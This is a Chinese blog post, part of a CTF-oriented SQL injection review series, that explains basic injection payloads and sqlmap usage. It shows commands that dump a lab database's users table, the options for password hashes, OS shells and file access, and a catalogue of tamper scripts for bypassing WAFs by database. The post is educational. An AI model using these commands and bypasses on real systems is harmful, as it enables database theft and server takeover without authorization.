SQL注入回顾篇(四)

最新推荐文章于 2023-02-13 22:24:28 发布
置顶 最新推荐文章于 2023-02-13 22:24:28 发布
阅读量4.3k 收藏 5
点赞数 3
分类专栏： 注入 工具 CTF学习 渗透之旅 CTF大本营
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/JBlock/article/details/88048895
版权
CTF学习 同时被 3 个专栏收录
15 篇文章 0 订阅
订阅专栏
注入
13 篇文章 1 订阅
订阅专栏
CTF大本营
10 篇文章 3 订阅
订阅专栏
前言

忆往昔，峥嵘岁月稠！大学已经到了大三了，打了很多比赛，回顾还是挺欣慰！此系列来由是想留一点东西，把所学知识整理一下，同时也是受github上Micro8分享的启发，故想做一些工作，以留后人参考，历时两个星期，第一系列SQL注入回顾篇出炉！内容分四节发布，其中SQL注入代码审计为两节，WAF绕过总结为1节，SQLMAP使用总结为1节！此为SQLMAP使用总结部分。欢迎各位斧正，交流！

文章目录

简介

SQL注入就是web应用程序对用户输入数据的合法性没有判断，前端传入后端的参数是攻击者可控的，并且参数带入数据库查询攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

Sql注入的产生需要满足以下两个条件：

  1. 参数用户可控：前端传给后端的参数内容是用户可以控制的。
  2. 参数带入数据库查询：传入的参数拼接到sql语句中，且带入数据库查询。

当传入的参数ID为1’时，数据库执行的代码如下所示。

Select * from users where id=1’

这个语句不符合数据库语法规范，所以会报错。当传入的参数为and 1=1时，执行的sql语句如下所示

Select * from users where id=1 and 1=1

因为1=1为真，且where语句中的id=1也为真，所以页面会返回与id=1相同的结果。当传入的id参数为and 1=2时，此时sql语句恒为假，所以服务器会返回与id=1不同的结果

在实际环境中，sql注入会导致数据库的数据泄露，在安全配置不当的情况下还可能会被攻击者拿到系统权限，进行文件的读写操作等。

普通的注入审计，可以通过$_GET,$_POST等传参追踪数据库操作，也可以通过select , delete , update,insert 数据库操作语句反追踪传参。

Mysql注入相关知识点

  1. 在Mysql 5.0版本之后，Mysql默认在数据库中存放一个”information_shcema”的数据库，在该库中，读者需要记住三个表名，分别是SCHEMATA,TABLES和COLUMNS。分存储该用户创建的所有数据库的库名，库名和表名，库名和表名,字段名。

  2. Limit的用法：使用格式为limit m,n,其中m是指记录开始的位置，从0开始，表示第一条记录：n是指取n条记录。例如limit 0,1表示从第一条记录开始，取一条记录。

  3. 需要记住的几个函数

    • database():当前网站使用的数据库。
    • version():当前MYSQL的版本。
    • user():当前MySQL的用户。

  4. 注释符

    在MYSQL中，常见的注释符的表达式为：#或--空格或/**/，

    ，//，-- , --+,,%00,--a。

  5. 内联注释

    内联注释的形式：/*！code */。内联注释可以用于整个SQL语句中用来执行我们的SQL语句，

    举个栗子:

    Index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

  6. MYSQL对大小写不敏感，所以存在大小绕过。

SQLMAP使用与Tamper详解

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具，有一个非常棒的特性，即对检测与利用的自动化处理（数据库指纹、访问底层文件系统、执行命令）

sqlmap支持五种不同的注入模式：

  1. 基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
  3. 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入，可以使用union的情况下的注入。
  5. 堆查询注入，可以同时执行多条语句的执行时的注入
常规注入过程
  • 注出数据库
sqlmap -u"http://192.168.23.164/sqli/example1.php?name=root" –dbs

在这里插入图片描述

  • 注出指定数据库的表
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises –tables

在这里插入图片描述

  • 注出表中的相关字段
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises -T users –columns

在这里插入图片描述

  • 注出字段值
sqlmap -u "http://192.168.23.164/sqli/example1.php?name=root" -D exercises -T users –dump

在这里插入图片描述

权限常用参数
  • -b, --banner 检索数据库管理系统的标识
  • –current-user 检索数据库管理系统当前用户
  • –current-db 检索数据库管理系统当前数据库
  • –is-dba 检测DBMS当前用户是否DBA
  • –users 枚举数据库管理系统用户
  • –passwords 枚举数据库管理系统用户密码哈希
  • –privileges 枚举数据库管理系统用户的权限
  • –roles 枚举数据库管理系统用户的角色
  • –dbs 枚举数据库管理系统数据库
  • –tables 枚举的DBMS数据库中的表
  • –columns 枚举DBMS数据库表列
  • –dump 转储数据库管理系统的数据库中的表项
  • –dump-all 转储所有的DBMS数据库表中的条目
  • –search 搜索列（S），表（S）和/或数据库名称（S）
Cookie注入

当程序有防get注入的时候，可以使用cookie注入

sqlmap -u “url” –cookie “id=11” –level 2（只有level达到2才会检测cookie）
从post数据包中注入

可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql  指定username参数
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password

user-agent注入
*指定参数 -r *.txt --user-agent "" --technique BEUST --dbms mysql --batch --threads 10
防屏蔽
-safe-freq 3 //一个斜杠
sqlmap详细命令：
  • -is-dba 当前用户权限（是否为root权限）
  • -dbs 所有数据库
  • -current-db 网站当前数据库
  • -users 所有数据库用户
  • -current-user 当前数据库用户
  • -random-agent 构造随机user-agent
  • -passwords 数据库密码
  • -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • -time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）

Options（选项）：

  • -version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别：0-6（默认为1）

Target（目标）：

以下至少需要设置其中一个选项，设置目标URL。

  • -d DIRECT 直接连接到数据库。
  • -u URL, –url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request（请求）：

这些选项可以用来指定如何连接到目标URL。

  • -data=DATA 通过POST发送的数据字符串
  • -cookie=COOKIE HTTP Cookie头
  • -cookie-urlencode URL 编码生成的cookie注入
  • -drop-set-cookie 忽略响应的Set – Cookie头信息
  • -user-agent=AGENT 指定 HTTP User – Agent头
  • -random-agent 使用随机选定的HTTP User – Agent头
  • -referer=REFERER 指定 HTTP Referer头
  • -headers=HEADERS 换行分开，加入其他的HTTP头
  • -auth-type=ATYPE HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)
  • -auth-cred=ACRED HTTP身份验证凭据（用户名:密码）
  • -auth-cert=ACERT HTTP认证证书（key_file，cert_file）
  • -proxy=PROXY 使用HTTP代理连接到目标URL
  • -proxy-cred=PCRED HTTP代理身份验证凭据（用户名：密码）
  • -ignore-proxy 忽略系统默认的HTTP代理
  • -delay=DELAY 在每个HTTP请求之间的延迟时间，单位为秒
  • -timeout=TIMEOUT 等待连接超时的时间（默认为30秒）
  • -retries=RETRIES 连接超时后重新连接的时间（默认3）
  • -scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • -safe-url=SAFURL 在测试过程中经常访问的url地址
  • -safe-freq=SAFREQ 两次访问之间测试请求，给出安全的URL

Enumeration（枚举）：

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • -current-user 检索数据库管理系统当前用户
  • -current-db 检索数据库管理系统当前数据库
  • -is-dba 检测DBMS当前用户是否DBA
  • -users 枚举数据库管理系统用户
  • -passwords 枚举数据库管理系统用户密码哈希
  • -privileges 枚举数据库管理系统用户的权限
  • -roles 枚举数据库管理系统用户的角色
  • -dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表（如：-T tablename –columns）
  • -tables 枚举的DBMS数据库中的表
  • -columns 枚举DBMS数据库表列
  • -dump 转储数据库管理系统的数据库中的表项
  • -dump-all 转储所有的DBMS数据库表中的条目
  • -search 搜索列（S），表（S）和/或数据库名称（S）
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • -exclude-sysdbs 枚举表时排除系统数据库
  • -start=LIMITSTART 第一个查询输出进入检索
  • -stop=LIMITSTOP 最后查询的输出进入检索
  • -first=FIRSTCHAR 第一个查询输出字的字符检索
  • -last=LASTCHAR 最后查询的输出字字符检索
  • -sql-query=QUERY 要执行的SQL语句
  • -sql-shell 提示交互式SQL的shell

Optimization（优化）：

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP（S）连接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP（S）请求并发量（默认为1）

Injection（注入）：

这些选项可以用来指定测试哪些参数， 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数（S）
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操作系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本（S）篡改注入数据

Detection（检测）：

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级（1-5，默认为1）
  • –risk=RISK 执行测试的风险（0-3，默认为1）
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques（技巧）：

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试（默认BEUST）
  • –time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint（指纹）：

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force（蛮力）：

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection（用户自定义函数注入）：

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access（访问文件系统）：

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access（操作系统访问）：

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令
  • –os-shell 交互式的操作系统的shell
  • –os-pwn 获取一个OOB shell，meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell，meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提升
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问：

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型
  • 这些选项可以用来设置一些一般的工作参数。
  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入，使用所有默认配置。

Miscellaneous（杂项）：

  • –beep 发现SQL注入时提醒

  • –check-payload IDS对注入payloads的检测测试

  • –cleanup SqlMap具体的UDF和表清理DBMS

  • –forms 对目标URL的解析和测试形式

  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

  • –page-rank Google dork结果显示网页排名（PR）

  • –parse-errors 从响应页面解析数据库管理系统的错误消息

  • –replicate 复制转储的数据到一个sqlite3数据库

  • –tor 使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址

  • –wizard 给初级用户的简单向导界面

Tamper详解

当原始注入遇到困难时，可尝试加载相应脚本，进行绕过，说不定会有意外惊喜。在sqlmap的原命令中加入以下代码，即可使用脚本，进行更加强有力的渗透

--tamper“脚本名称”(可使用多个tamper)

sqlmap版本当前为1.2.7.20，共有57个tamper脚本

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符，用于过滤单引号
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符，等号替换为like
8chardoubleencode双url编码
9charencode将url编码(不处理已经编码的字符)
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\
18greatest大于号替换为greatest，绕过对>的过滤
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为–加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/_/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为–%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头

下面以数据库为区分，给出每种数据库可供选择的tamper。若同一脚本适用不同数据库，则在每个数据库中都指出

【MySQL】

版本可用tamper编号脚本名称
4/5.0/5.510x2char
6between
9charencode
16concat2concatws
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
5.17bluecoat
46space2mysqlblank
5.0/5.512commalesslimit
13commalessmid
21ifnull2casewhenisnull
22ifnull2ifisnull
42space2morecomment
5.015concat2concatws
26modsecurityversioned
27modsecurityzeroversioned
4.0/5.041space2hash
5.1.5610charunicodeencode
5.1.56/5.5.1132percentage
56versionedmorekeywords
4.0.18/5.0.2219halfversionedmorekeywords
4.0.18/5.1.56/5.5.1155versionedkeywords
5.1.4143space2morehash
未指定版本14commentbeforeparentheses
40space2dash
45space2mssqlhash
47space2mysqldash

【SQLServer】

版本可用tamper编号脚本名称
2005/200010charunicodeencode
32percentage
44space2mssqlblank
20056between
9charencode
16equaltolike
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase
2002+33plus2concat
2008+34plus2fnconcat
未指定14commentbeforeparentheses

【Access】

版本可用tamper编号脚本名称
未指定4appendnullbyte

【Oracle】

版本可用tamper编号脚本名称
10g6between
9charencode
14commentbeforeparentheses
18greatest
24least
25lowercase
35randomcase
39space2comment
49space2randomblank
53uppercase

【PostgreSQL】

版本可用tamper编号脚本名称
8.3/8.4/9.06between
9charencode
18greatest
24least
25lowercase
39space2comment
49space2randomblank
53uppercase
9.032percentage
9.0.310charunicodeencode
未指定14commentbeforeparentheses
35randomcase

【MSSQL】

版本可用tamper编号脚本名称
未指定38sp_password

【SQLite】

版本可用tamper编号脚本名称
未指定40space2dash

【未知适用范围】

若以上脚本未解决问题，可尝试使用一下脚本。

版本可用tamper编号脚本名称
2apostrophemask
3apostrophenullencode
5base64encode
8chardoubleencode
11charunicodeescape
17escapequotes
20htmlencode
23informationschemacomment
28multiplespaces
29nonrecursivereplacement
30overlongutf8
31overlongutf8more
36randomcomments
37securesphere
48space2plus
50symboliclogical
51unionalltounion
52unmagicquotes
54varnish
57xforwardedfor
结语

此次新更的内容为SQLMAP使用，单独拿出SQLMAP的原因是开源，经典，强大，兼容数据库！Tamper作为SQLMAP灵魂内容的存在，也希望大家掌握自己开发的能力，以后我也会附上自己的分享!
传送门：
SQL注入回顾篇(一)
SQL注入回顾篇(二)
SQL注入回顾篇(三)

JBlock
关注
专栏目录
sql注入-延时注入
课嗨教育的专栏
04-28 1571
渗透测试基础课-课程进度_不死的小鱼的博客-CSDN博客 延时注入和布尔盲注差不多 为什么要延时 因为有的时候我们知道这个地方存在注入但是页面返回信息一样 加了个if延时条件判断 if(条件,是,否) http://localhost/Less-9/index.php?id=1%27%20and%20if( 1<2,sleep(10),1)--%201 返回14秒 http://localhost/Less-9/index.php?id=1%27%20and%20if( 1>2,sleep(
sql注入靶场实操
m0_46104808的博客
10-27 1631
sql注入漏洞利用
Web渗透测试之SQL注入：Level4--人与工具
vodkaDL的博客
11-03 329
文章目录前言题目分析人与工具总结 前言 题目分析 题目首页如下： 　　现在的你可以说的上是经验丰富了，看到这你立马输入了一个 ‘ ，但接下来的一幕顿时让你傻眼了，竟然没有报错： 　　你顿时怀疑是不是哪里出错了，于是又重新输入了一次，结果还是和上次一样，虽然你有所怀疑，但你还是接着尝试输入了 and 1=1 、and 1=2，和 and ‘1’='1 、and ‘1’='2 ,竟然都没有报错： 　　你现在感到非常的迷惑，为什么都没有报错呢，究竟是哪里出了问题？想来想去你唯一能想到的解释就是网站
SQL注入回顾篇(一)
JBlock的博客
02-28 1653
前言 忆往昔，峥嵘岁月稠！大学已经到了大三了，打了很多比赛，回顾还是挺欣慰！此系列来由是想留一点东西，把所学知识整理一下，同时也是受github上Micro8分享的启发，故想做一些工作，以留后人参考，历时两个星期，第一系列SQL注入回顾篇出炉！内容分四节发布，其中SQL注入代码审计为两节，WAF绕过总结为1节，SQLMAP使用总结为1节！此为SQL注入代码审计第一部分。欢迎各位斧正，交流！ 文章目...
2021-08-04大连东软实训第十一天---ssm框架，改造之前的项目，sql语句的学习，sql注入
小tom的博客
08-04 134
半orm框架，springmvc使用来实现表示层的框架，在ssm框架中起到一个核心管理的作用，简化我们的开发，框架会让代码量大大的减少，配置文件变多,sql语句写到配置文件里面，ssh框架是hbnet，一点sql语句不用谢。 业务逻辑建立在写sql语句上，select最难，是阿帕奇的开源项目， 定义子项目使用的的各个版本号 maven坐标 注意sql注入 字符串拼接容易产生系统漏洞，有敏感数据不要用 开发时也不用，尤其是敏感数据，查什么字段就写什么字段，而且写效率也会低 表连接 ...
SSM框架知识总结
mmmnn_的博客
02-13 752
总结了SSM框架的知识架构
sqlmap注入之tamper绕过WAF防火墙过滤
ru_li的专栏
05-19 1万+
每当注入的时候看到这个贱贱的提示框，内心有千万只草泥马在奔腾。   但很多时候还是得静下来分析过滤系统到底过滤了哪些参数，该如何绕过。 sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，可能有的朋友还不知道怎样才能最有效的利用tamper脚本。 当然使用脚本之前需要确定的就是系统过滤了哪些关键字，比如单引号、空格、select、union、admin等等。 所以
一次sql注入问题的筛查报告 ，主要 是sql 注入的问题
最新发布
05-10
SQL注入是一种常见的网络安全威胁，它发生在应用程序未能充分验证或过滤用户输入的数据，导致恶意SQL代码被插入到数据库查询中。这种攻击方式可以让攻击者获取、修改、甚至删除数据库中的敏感信息，对系统的安全性...
实例讲解 SQL 注入攻击
姚老板的黑店
01-14 1731
本文由 伯乐在线 - zer0Black 翻译，蒋生武 校稿。未经许可，禁止转载！ 英文出处：Steve Friedl。欢迎加入翻译小组。 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分，所以尽管我们之前没有使用过SQL注入来渗透网络，但对其概念也相当熟悉了。最后我们在这项任务中大获成功，现在来回顾一下这个过程的每一步，将它记录为一个案例。
SQLMap中tamper的简介
super_m@n的博客
04-06 1万+
目录结构 一、SQLMap中tamper的简介 1.tamper的作用 2.tamper用法 二、适配不同数据库类型的测试tamper 三、SQLMap中tamper篡改脚本的功能解释 一、SQLMap中tamper的简介 1.tamper的作用 使用SQLMap提供的tamper脚本，可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡，继而进行渗透攻击。 部分...
Mybatis框架下SQL注入漏洞处理
aosica321的专栏
02-23 1万+
来源：http://www.open-open.com/lib/view/open1474963603800.html            http://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=2727827368&idx=1&sn=765d0835f0069b5145523c31e8229850&mpshare=1&scene=1&srci
sqlmap绕过过滤的tamper脚本分类汇总
weixin_41489908的博客
10-29 786
孤独是什么，洗了个头，吹了个好看的发型，换了双干净的鞋子，穿了件帅气的衣服，去超市买了一包烟和一瓶水然后就回家了。。。 ---- 网易云热评 一、支持所有的数据库 1、apostrophemask.py 作用：用utf8代替引号 ("1 AND '1'='1")替换后'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 2、base64encode.py 作用：用base64编码替换 ("1' AND SLEEP(5)#")替换后'MScgQU5EIFNM..
sql注入之（登录框绕过）
qq_42383069的博客
05-06 2万+
sql注入之（登录框绕过） 原理说明： Mysql数据库查询语句： 一般的登录框sql语句如下： select name.passwd from users where username=‘name’ and password=‘pwd’; 分析： 如果我们输入的是正确的用户名与密码，肯定就可以登陆进去，错的就不行了。但是这个验证机制可以通过SQL语句来构造一个特殊的“字符串”通过验证。 比如我们...
深入了解SQL注入绕过waf和过滤机制
kendyhj9999的专栏
06-06 5590
深入了解SQL注入绕过waf和过滤机制 来源：http://drops.wooyun.org/tips/968 16人收藏 收藏 2014/03/02 13:24 | r00tgrok | 技术分享 | 占个座先 知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filte
sqlmap的使用 ---- 自带绕过脚本tamper
热门推荐
wkend的博客
09-15 4万+
sqlmap在默认的的情况下除了使用char()函数防止出现单引号，没有对注入的数据进行修改，还可以使用–tamper参数对数据做修改来绕过waf等设备。 0x01 命令如下 sqlmap -u [url] --tamper [模块名] sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper下 目前sqlmap 1.2.9版本共有37...
mybatis中#{}与${}的差别（如何防止sql注入）
E=mc²
04-24 1万+
默认情况下,使用#{}语法,MyBatis会产生PreparedStatement语句中，并且安全的设置PreparedStatement参数，这个过程中MyBatis会进行必要的安全检查和转义。 #相当于对数据 加上 双引号，$相当于直接显示数据 示例1： 执行SQL：select * from emp where name = #{employeeName} 参数：employeeNa
SQL盲注(延时注入)
JKding123的博客
04-02 1万+
思路： *判断是否存在注入，注入是字符型还是数字型 *猜解当前数据库名 *猜解数据库表名 *猜解字段名 *猜解数据 1判断注入类型 playload result 1’ and sleep(5) # 延迟 1 and sleep(5)# 没有延迟 存在字符型注入 2猜解当前数据库名 2.1猜解数据库名的长度： playload result 1’ and i...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值